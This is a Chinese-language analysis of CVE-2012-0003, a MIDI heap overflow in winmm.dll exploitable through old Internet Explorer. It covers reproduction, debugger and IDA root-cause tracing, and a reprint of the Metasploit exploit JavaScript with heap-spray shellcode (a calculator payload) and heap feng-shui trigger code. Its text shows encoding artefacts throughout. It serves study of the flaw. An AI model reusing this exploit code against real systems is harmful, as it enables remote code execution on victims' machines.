漏洞分析丨cve-2012-0003
作者:黑蛋
一、漏洞簡介
這次漏洞屬于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在這個漏洞。而這個漏洞是Winmm.dll中產(chǎn)生的。
二、漏洞環(huán)境
虛擬機(jī)
調(diào)試工具
目標(biāo)軟件
輔助工具
XP-SP3、Kali
OD、IDA
IE6
Windbg組件gflags.exe
三、MIDI文件簡介
MIDI文件屬于二進(jìn)制文件,這種文件一般都有如下基本結(jié)構(gòu):文件頭+數(shù)據(jù)描述 文件頭一般包括文件的類型,因為Midi文件僅以。mid為擴(kuò)展名的就有0類和1類兩種,而大家熟悉的位圖文件的格式就更多了,所以才會出現(xiàn)文件頭這種東西。他通過Winmm.dll解析這種文件之后可以播出音樂。
結(jié)構(gòu)圖如下:
塊名稱
塊標(biāo)記(四字節(jié))
塊長度(四字節(jié))
塊數(shù)據(jù)
頭塊
“MThd”
00000006
6字節(jié)長度
音軌塊1
“MTrk”
后面塊數(shù)據(jù)長度
音軌事件數(shù)據(jù)
...
...
...
...
音軌塊n
“MTrk”
后面塊數(shù)據(jù)長度
音軌事件數(shù)據(jù)
頭結(jié)構(gòu):
偏移
長度
描述
數(shù)值
0x00
4
塊標(biāo)記
“MThd”
0x04
4
塊長度
00000006
0x08
2
格式類型
0~2
0x10
2
音軌數(shù)
1~65535
0x12
2
每拍的計數(shù)值
0x60為八分一拍
音軌事件:
事件類型
格式
描述
關(guān)閉音符(Note Off)
0x8n note velocity
n 代表通道號,note 代表高音數(shù)值,velocity 代表按鍵速度
打開音符(Note On)
0x9n note velocity
n 代表通道號,note 代表高音數(shù)值,velocity 代表按鍵速度
觸后音符(Note Aftertouch)
0xAn note amount
n 代表通道號,note 代表高音數(shù)值,amount 代表按壓力度
控制器(Controler)
0xBn type value
n 代表通道號,note 代表控制項(如主音、延音等音量大小的調(diào)節(jié)),value 即為設(shè)置值
音色切換(Program Change)
0xCn num
n 代表通道號,num 代表音色號
觸后通道(Channel Afertouch)
0xCn note amount
n 代表通道號,note 代表高音數(shù)值,amount 代表按壓力度
滑音(Pitch Bend)
0xEn LSB MSB
n 代表通道號,LSB 代表低位值,MSB 代表高位值
四、漏洞復(fù)現(xiàn)
使用MSF生成exp:

使用箭頭指向的鏈接地址,在XP-SP3中使用IE打開:

五、漏洞溯源
首先通過Windbg中一個組件gflags.exe開啟IE頁堆保護(hù):

接下來找一個mid文件,或者用以下命令在kali中下載:
wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/+mid相對路徑
然后用IE繼續(xù)打開之前拷貝的鏈接地址,出現(xiàn)錯誤,右鍵頁面打開源文件,修改mid文件位置為絕對路徑,之后另存為html文件,把mid文件放相同目錄下(這樣可以讓winmm.dll解析mid文件觸發(fā)漏洞):


接下來打開IE,再打開OD附加IE,隨后拖拽1.html到IE中,在IE上方選擇允許運(yùn)行,斷在了溢出位置:


查看各模塊基址,可以發(fā)現(xiàn)溢出點(diǎn)76B2D224屬于winmm.dll,隨后找到此動態(tài)鏈接庫,拖到IDA中,找到76B2D224,F(xiàn)5反匯編:


接下來分析這段代碼,看看v26來源:
void __stdcall sub_76B2D038(int a1)
{
? int v1; // edi@1
? int v2; // esi@2
? int v3; // ecx@5
? int v4; // eax@5
? bool v5; // zf@5
? bool v6; // sf@5
? unsigned __int8 v7; // of@5
? int v8; // edx@6
? int v9; // ebx@6
? int v10; // ST18_4@6
? unsigned int v11; // ecx@6
? unsigned int v12; // eax@6
? int v13; // ecx@6
? unsigned __int8 v14; // al@9
? signed int v15; // eax@14
? int v16; // ebx@16
? int v17; // esi@18
? int v18; // eax@18
? int v19; // ST18_4@25
? int v20; // esi@26
? unsigned __int8 v21; // al@27
? unsigned int v22; // ebx@28
? __int64 v23; // rax@32
? int v24; // eax@32
? int v25; // esi@34
? char v26; // al@34
? char v27; // dl@34
? char v28; // al@36
? int v29; // edx@40
? char v30; // al@40
? char v31; // al@42
? int v32; // [sp+4h] [bp-14h]@6
? int v33; // [sp+8h] [bp-10h]@6
? int v34; // [sp+Ch] [bp-Ch]@6
? int v35; // [sp+10h] [bp-8h]@6
? char v36; // [sp+17h] [bp-1h]@30
? int v37; // [sp+20h] [bp+8h]@5
? signed int v38; // [sp+20h] [bp+8h]@17
? char v39; // [sp+23h] [bp+Bh]@6
? unsigned __int8 v40; // [sp+23h] [bp+Bh]@28
? v1 = a1;
? if ( !*(_DWORD *)(a1 + 52) )
? {
??? while ( 1 )
??? {
????? while ( 1 )
????? {
??????? v2 = *(_DWORD *)(v1 + 60);
??????? if ( !v2 )
????????? return;
??????? if ( sub_76B2CA8A(v1) )
????????? break;
??????? sub_76B2CAC7(v1);
????? }
????? v3 = *(_DWORD *)v2;
????? v4 = *(_DWORD *)(v1 + 124) + *(_DWORD *)(*(_DWORD *)v2 + *(_DWORD *)(v2 + 36));
????? v7 = __OFSUB__(v4, *(_DWORD *)(v1 + 128));
????? v5 = v4 == *(_DWORD *)(v1 + 128);
????? v6 = v4 - *(_DWORD *)(v1 + 128) < 0;
????? v37 = *(_DWORD *)v2;
????? *(_DWORD *)(v1 + 116) = v4;
????? if ( !((unsigned __int8)(v6 ^ v7) | v5) )
??????? return;
????? v8 = *(_DWORD *)(v2 + 36);
????? *(_DWORD *)(v1 + 124) = v4;
????? *(_DWORD *)(v2 + 36) += 4;
????? v9 = *(_DWORD *)(v2 + 36);
????? v10 = *(_DWORD *)(v9 + v3);
????? v9 += 4;
????? v33 = v8;
????? v32 = v10;
?? ???*(_DWORD *)(v2 + 36) = v9;
????? v34 = sub_76B2C7F7(v1, v10);
????? v11 = *(_DWORD *)(v9 + v37);
????? *(_DWORD *)(v2 + 36) = v9 + 4;
????? v12 = v11 >> 24;
????? v13 = v11 & 0xFFFFFF;
????? v39 = v12;
????? v35 = v13;
????? if ( v34 && v12 & 0x40 )
?? ???{
??????? *(_DWORD *)(v2 + 28) = v33;
??????? DriverCallback(*(_DWORD *)(v1 + 68), *(_WORD *)(v1 + 74), *(_DWORD *)(v1 + 4), 970, *(_DWORD *)(v1 + 76), v2, 0);
??????? LOBYTE(v12) = v39;
??????? v13 = v35;
????? }
????? v14 = v12 & 0xBF;
????? if ( v14 )
????? {
??????? if ( v14 == 1 )
??????? {
????????? v19 = *(_DWORD *)(v1 + 124);
????????? *(_DWORD *)(v1 + 48) = v13;
????????? sub_76B2CA24(v1, v19);
??????? }
??????? else if ( v14 == 128 )
??????? {
????????? *(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;
????????? v15 = 1;
????????? if ( v32 == -1 )
??????????? v15 = *(_DWORD *)(v1 + 140);
????????? v16 = *(_DWORD *)(v2 + 24);
????????? *(_DWORD *)(v1 + 136) = 0;
????????? *(_DWORD *)(v1 + 8) |= 0x20u;
????????? *(_DWORD *)(v1 + 52) = 1;
????????? if ( v15 )
????????? {
??????????? v38 = v15;
??????????? do
??????????? {
????????????? v17 = *(_DWORD *)(v16 + 4);
????????????? *(_DWORD *)(v16 + 4) = v17 + 64;
????????????? v18 = sub_76B2C7F7(v1, *(_DWORD *)(v17 + 32));
????????????? if ( v18 && !midiOutLongMsg(v18, v17, 64) )
??????????????? ++*(_DWORD *)(v1 + 136);
????????????? --v38;
??????????? }
??????????? while ( v38 );
????????? }
????????? if ( !*(_DWORD *)(v1 + 136) )
??????????? *(_DWORD *)(v1 + 52) = 0;
????????? *(_DWORD *)(v1 + 8) &= 0xFFFFFFDF;
??????? }
??????? else if ( (v14 & 0x80u) != 0 )
??????? {
????????? *(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;
??????? }
??????? goto LABEL_48;
????? }
????? v20 = *(_DWORD *)(v1 + 132);
??? ??if ( v34 )
??????? break;
????? do
????? {
LABEL_48:
??????? if ( sub_76B2CA8A(v1) )
????????? break;
??????? sub_76B2CAC7(v1);
????? }
????? while ( *(_DWORD *)(v1 + 60) );
????? if ( *(_DWORD *)(v1 + 52) )
??????? return;
??? }
??? v21 = v13;
??? if ( (char)v13 < 0 )
??? {
????? *(_BYTE *)(v1 + 84) = v13;
????? v40 = BYTE1(v13);
????? v22 = (unsigned int)v13 >> 16;
??? }
??? else
??? {
????? v21 = *(_BYTE *)(v1 + 84);
????? v40 = v13;
????? v22 = (unsigned int)v13 >> 8;
????? v13 = v21 | (v13 << 8);
??? }
??? v36 = v21 & 0xF0;
??? if ( (v21 & 0xF0) == -112 || (v21 & 0xF0) == -128 )
??? {
????? v23 = v40 + ((v21 & 0xF) << 7);
????? v24 = ((signed int)v23 - HIDWORD(v23)) >> 1;
????? if ( v36 == -128 || !(_BYTE)v22 )
????? {
??????? v29 = v24 + v20;
??????? v30 = *(_BYTE *)(v24 + v20);
??????? if ( v40 & 1 )
??????? {
????????? if ( !(v30 & 0xF0) )
??????????? goto LABEL_46;
????????? v31 = v30 - 16;
??????? }
??????? else
??????? {
????????? if ( !(v30 & 0xF) )
??????????? goto LABEL_46;
????????? v31 = v30 - 1;
??????? }
??????? *(_BYTE *)v29 = v31;
??????? goto LABEL_46;
????? }
????? v25 = v24 + v20;
????? v26 = *(_BYTE *)v25;????????????????????? // 這里
????? v27 = *(_BYTE *)v25;
????? if ( v40 & 1 )
????? {
??????? if ( (v27 & 0xF0) != -16 )
?? ?????{
????????? v28 = v26 + 16;
LABEL_39:
????????? *(_BYTE *)v25 = v28;
????????? goto LABEL_46;
??????? }
????? }
????? else if ( (v27 & 0xF) != 15 )
????? {
??????? v28 = v26 + 1;
??????? goto LABEL_39;
????? }
??? }
LABEL_46:
??? midiOutShortMsg(v34, v13);
??? goto LABEL_48;
? }
}
根據(jù)分析,可以得到以下幾個局部變量和寄存機(jī)關(guān)系以及相對于的地址:
V1 = edi? 76B2D050
V2 = esi? 76B2D06D
v9? = ebx? 76B2D0B5
V11= ecx? 76B2D0C3
V13= ecx? 76B2D0D1
V20 = esi 76B2D248
V21 = dl 76B2D1F3
V24= eax? 76B2D21E
a1 = edi 76B2D044
在OD附加IE后,運(yùn)行起來,找到以上地址下條件斷點(diǎn):


然后跑起來,拖入1.html,到達(dá)溢出點(diǎn),Alt+L查看日志:


可以發(fā)現(xiàn)在溢出前,v11=v13=007DB29F,是在相應(yīng)位置下條件斷點(diǎn):

隨后拖入1.html,斷在了斷點(diǎn)處,溢出點(diǎn)是讀取ESI位置出現(xiàn)異常,我們向上觀察ESI的值的來源,76B2D21E處是ADD ESI,EAX:

回到IDA中,對ESI溯源:

發(fā)現(xiàn)v20的值來源于參數(shù)a1+132;找a1的來源,看函數(shù)引用:

繼續(xù)找v6:



繼續(xù)找v7,正好可以看到v7+132的值:
繼續(xù)跟進(jìn)去sub_76B2B29D:
綜上,可以看到ESI的值指向一個1024(0x400)字節(jié)的堆空間,返回到溢出位置,ESI+0x419超出0x400,所以造成溢出。
五、漏洞利用
首先我們對exp中的JS代碼進(jìn)行提?。?/p>
//堆噴射技術(shù)
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ufcf5%u40f5%u92d6%u9840%u4f48%ufcfd%u9f48%u4943%u4692%u274f%u9146%ud697%u4347%u4f41%u9143%u464b%u9949%ufc49%u379b%u46f5%ud64b%u90fc%uf941%u9b4f%ufd4b%u4f9f%u904b%u9949%u439f%u9049%ufd91%u93fc%u9b46%u2f43%u4891%u3798%ufcfc%u46d6%u4e4f%u4a92%uf5f8%u2799%u4b40%u99f5%u4e4f%u4af5%u4040%u2f43%uf597%uf537%u424f%uf93f%u4747%u924b%u2746%u979f%u933f%u97fd%u4841%u9948%u9098%u9246%u9892%u2f47%u4191%u429b%u2f49%u9991%u9ffd%u4147%u999f%u48fd%u373f%uf99f%ud6f5%u49f5%u434a%u479f%ufc96%u9940%u4f97%u989f%ufd49%u9941%u4627%u469b%u4398%u4840%u484a%u98fd%u9f93%u4940%u4a49%ud627%u48d6%u374a%uf942%uf590%u41fc%u274e%u9f41%u4f4f%uf537%u4147%ufc40%u434e%u373f%u912f%uf942%u479f%u4148%u9843%u404e%u3f4e%u4b49%u4296%ufdf5%u9692%uf597%uf996%u3f3f%u974f%uf998%u484a%u9792%u4149%u96fd%u9192%u4299%u414b%ufd3f%u9998%u91fd%u99f5%u4043%u4a93%u97f5%uf8fd%u934f%uf946%u48f9%u934b%u9f27%uf8f5%ufd4e%u4a47%u9f98%u97fc%u3f4f%u3743%ufc42%u993f%u37f9%ufc96%u9027%u4340%u9b98%u2f27%u494e%u9198%u91f8%u3796%ufcd6%ufd9b%uf947%ufcfd%u274b%u493f%u494b%u469f%uf9fd%ufc41%ufc40%u4846%u419b%ud690%u473f%u99fd%u9897%u912f%uf9fd%u439f%u9046%ufd92%u984b%u4691%u3ffd%u3f97%u434b%u2798%u9290%u46d6%u90f9%u373f%uf990%u3f96%ud6f8%u994f%u433f%ud69f%uf598%u424a%u4f48%u4ff5%uf59f%u4842%u2797%u43f8%u9742%u9f93%u2737%u993f%u93fc%u9648%ud64b%ufc90%ufd37%uf82f%u4a4e%u9bf9%uf8f5%u93fc%u9f40%u3f46%ufd4b%uf597%u2f37%u974e%u4896%u464b%u4398%uf9f8%u493f%u994b%u9b99%u9b27%u989f%u9149%u9349%u96d6%u4a99%u404b%u9f47%u2748%u91f8%u4849%u91f5%uf897%u469f%u4bfc%uf993%u42f8%u48f8%uf9d6%u43f8%u9bd6%ufd48%ufd98%u9f49%u419b%u919f%ufd4e%u4627%u419b%u3f4f%uf841%u4747%u989b%u4e48%u4e43%ufd3f%uf841%ufd49%u4191%u4e40%u4742%ufc90%ufd98%u2798%u9740%u414a%u494f%u379f%u3737%u494a%u43f9%u4647%u99d6%u42f9%u3797%u434f%u4e48%u9647%u9197%u939f%uf89b%ud6f8%u4647%u4f4a%u4a40%u92f8%u994a%u9b98%uf94b%u99f8%u929f%u9b47%u2749%ufc41%u9b9b%u422f%u919b%u4b4b%u973f%u4af9%u42f8%u933f%u424a%u9349%u9ff9%u9190%u4699%u412f%u4942%u90f5%u37fd%u4348%uf84a%uf9f5%u4696%u9299%u3ff5%ufd49%ud698%u9748%u4046%u92f5%ud640%u904b%ufc47%u4093%u9bd6%u489b%u49fd%u4b91%u9747%ufc27%u484a%u4e93%ufdfc%ufd41%u41f8%uf999%u9b4a%ud637%u9fd6%ufd48%u2f4b%u48d6%u47f5%u4143%u4b96%u4849%uf84b%u9340%uf541%u4a4f%ufd97%u4696%u274a%u929f%ufc37%u2748%u4a47%u9142%uf946%u2742%u9642%u3797%u46f5%u9b97%ufc99%u4893%u9992%u9148%ud690%uf998%u9191%u99fc%u4241%u2793%u4946%uf999%u4247%u984b%u27f5%u963f%u974a%u4f2f%u994e%u99d6%u9241%u374f%u3f2f%u4291%u4392%u274f%u9b98%u9b9b%u3ffd%u474b%uf948%u47f9%u9640%u43f5%ufc98%u82e8%u0000%u6000%ue589%uc031%u8b64%u3050%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%uacff%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f2%u8b57%u1052%u4a8b%u8b3c%u114c%ue378%u0148%u51d1%u598b%u0120%u8bd3%u1849%u3ae3%u8b49%u8b34%ud601%uff31%uc1ac%u0dcf%uc701%ue038%uf675%u7d03%u3bf8%u247d%ue475%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f5f%u8b5a%ueb12%u5d8d%u016a%u858d%u00b2%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065");
var DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF = "%u0c0c%u0c0c";
var nops = unescape(DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF);
while (nops.length < 0x1000) nops+= nops;
var shellcode =? nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 600; i++) {
? heap_obj.alloc(block);
}
這一堆代碼就是構(gòu)造一堆0c0c0c0c+shellcode的堆噴射代碼。
var heap = new heapLib.ie();
? var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
? var clones = new Array(1000);
? function feng_shui() {
??? heap.gc();
??? var i = 0;
??? while (i < 1000) {
????? clones[i] = selob.cloneNode(true)
????? i = i + 1;
??? }
??? var j = 0;
??? while (j < 1000) {
????? delete clones[j];
????? CollectGarbage();
????? j? = j + 2;
??? }
? }
? feng_shui();
?
function trigger(){
? var k = 999;
? while (k > 0) {
??? if (typeof(clones[k].w0) == "string") {
??? } else {
????? clones[k].w0('come on!');
??? }
??? k = k - 2;
? }
? feng_shui();
? document.audio.Play();
}
這一塊是創(chuàng)建一個select元素,并設(shè)置第一個屬性為String“0x0C0C0C0C”,其他55個為Object屬性。隨后創(chuàng)建一個1000字節(jié)數(shù)組在堆空間中,循壞拷貝selob到數(shù)組中,然后再在偶數(shù)位的數(shù)組釋放堆空間。這樣可以造成類似如下的堆空間:

這樣空閑堆塊前后都是我們自己的數(shù)據(jù),而申請0x400有很大的概率落在我們這些堆塊中間的空閑堆塊中。然后在這里,String在內(nèi)存中用0x08代表,Object用0x09代表。
最后調(diào)用?trigger()函數(shù),是遍歷數(shù)組元素,若屬性是Object,就執(zhí)行clones[k].w0('come on!'),而在這里會調(diào)用CAttrValue::GetIntoVariant函數(shù),這個函數(shù)會獲取續(xù)表指針,調(diào)用虛表函數(shù)。
這里是溢出點(diǎn),在溢出點(diǎn)的時候AL=0x08,是String,而在代碼下方箭頭地址指向代碼Al+1=0x09,后續(xù)調(diào)用Trigger函數(shù),走到clones[k].w0('come on!'),而這個語句會調(diào)用虛表,每一個對象前四個字節(jié)都是虛表地址,及0C0C0C0C,從而走到我們構(gòu)造的堆里面運(yùn)行shellcode,下面是取消頁堆,然后再溢出點(diǎn)下斷點(diǎn),走到下方AL+1的位置:

我們看一下堆噴地址0x0C0C0C0C:

這一塊都是0C0C0C0C+shellcode,一直重復(fù)的地址。繼續(xù)走,可以看到計算器被彈出:
